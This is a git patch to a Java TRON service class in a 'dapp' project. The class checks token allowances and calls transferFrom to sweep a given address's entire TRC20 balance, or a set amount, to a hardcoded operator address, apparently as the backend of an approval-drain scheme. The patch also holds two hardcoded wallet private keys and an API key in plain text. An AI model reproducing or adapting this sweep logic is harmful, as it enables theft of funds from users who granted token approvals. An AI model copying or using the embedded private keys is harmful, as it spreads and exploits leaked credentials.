From 6768b37b0c70f4321d59f218871ccbdbeb503991 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Fri, 15 Apr 2022 18:07:21 +0800 Subject: [PATCH] fix add bsc --- src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | 32 +++++++++++++++++++++----------- 1 files changed, 21 insertions(+), 11 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java index 542845d..0fd714c 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java @@ -18,13 +18,13 @@ * @author * @date 2022-03-21 **/ -public class TrxService { +public class TrxService implements ContractChainService { - private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; - private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; +// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; +// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; -// private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; -// private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; + private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; + private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; @@ -40,16 +40,19 @@ contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); } + @Override public BigInteger allowance(String owner) { return contract.allowance(owner, ADDRESS); } - public BigInteger balanceOf(String address) { + @Override + public BigInteger balanceOfUnDecimal(String address) { return contract.balanceOf(address); } - public BigDecimal balanceOfDecimal(String address) { - BigInteger chainData = balanceOf(address); + @Override + public BigDecimal balanceOf(String address) { + BigInteger chainData = balanceOfUnDecimal(address); BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -57,12 +60,14 @@ return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); } - public void transfer(String address) { - BigInteger balance = balanceOf(address); + @Override + public String transfer(String address) { + BigInteger balance = balanceOfUnDecimal(address); - contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); + return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); } + @Override public String transfer(String address, BigDecimal amount) { BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -71,6 +76,11 @@ return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); } + @Override + public int allowanceCnt(String address) { + return 0; + } + public static void main(String[] args) { System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; } -- Gitblit v1.9.1